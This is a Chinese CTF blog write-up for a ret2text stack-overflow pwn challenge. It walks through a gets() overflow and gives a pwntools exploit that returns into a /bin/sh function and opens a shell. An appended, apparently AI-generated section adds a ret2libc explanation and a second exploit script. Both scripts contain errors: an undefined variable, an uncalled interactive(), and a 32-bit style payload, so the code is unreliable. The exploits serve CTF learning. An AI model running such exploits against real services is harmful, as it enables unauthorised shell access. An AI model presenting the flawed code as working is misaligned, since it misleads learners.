CTFHUB(PWN)Ret2Text

本文探讨了在64位程序中发现的栈溢出漏洞,通过IDA64分析发现gets函数不设长度限制。作者详细介绍了如何定位bin_sh函数地址,构造payload并使用pwn库进行远程攻击,最后演示了交互式shell获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先检查保护机制 checksec

64 位 + 什么保护都没开

然后放到ida64中查看

发现gets函数,没有限制数据的长度,容易发生栈溢出

shift+F12 找到bin_sh函数地址

64位程序直接读取偏移量

构造payload,编写exp

from pwn import*
p=remote("ip",端口)
binsh_addr=地址
payload='a'*(0x70+8)+p64(bin_sh)
p.sendline(payload)
p.interactive

连接成功后ls

cat flag

### CTF PWN Ret2libc 攻击教程与实例 Ret2libc是一种利用栈溢出漏洞的技术,在这种技术下,攻击者通过覆盖返回地址来调用系统中的现有函数(通常是`system()`),从而执行任意命令。当面对静态链接的二进制文件时,由于其缺少GOT/PLT表,“xxx is statically linked, skipping GOT/PLT symbols”的提示表明无法从这些地方获取库函数地址[^1]。 对于动态链接的目标而言,可以通过操纵堆栈指针指向目标函数的实际位置实现ret2libc攻击;而对于静态编译的情况,则可以直接在`.text`段内寻找所需的函数入口点并加以利用。 下面是一个简单的Python脚本用于演示如何实施ret2libc攻击: ```python from pwn import * # 设置远程连接参数 host = 'example.com' port = 9999 # 连接到服务端 conn = remote(host, port) # 假设已知偏移量为offset=108字节,并且存在可以控制的数据位于该处之后 offset = 108 # 获取/bin/sh字符串的位置以及system()函数的真实地址 bin_sh_addr = 0xdeadbeef # 需要替换为实际地址 system_addr = 0xbadc0de # 同上 payload = b'A' * offset + pack(system_addr) + b'JUNK' + pack(bin_sh_addr) # 发送载荷给服务器 conn.sendline(payload) # 切换到交互模式以便观察后续操作结果 conn.interactive() ``` 此代码片段展示了发送精心构造的有效负载至易受攻击的服务的过程,其中包含了必要的填充字符、system()函数地址及其参数"/bin/sh"所在内存区域的指针值。需要注意的是上述示例中使用的具体数值应当依据实际情况调整。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值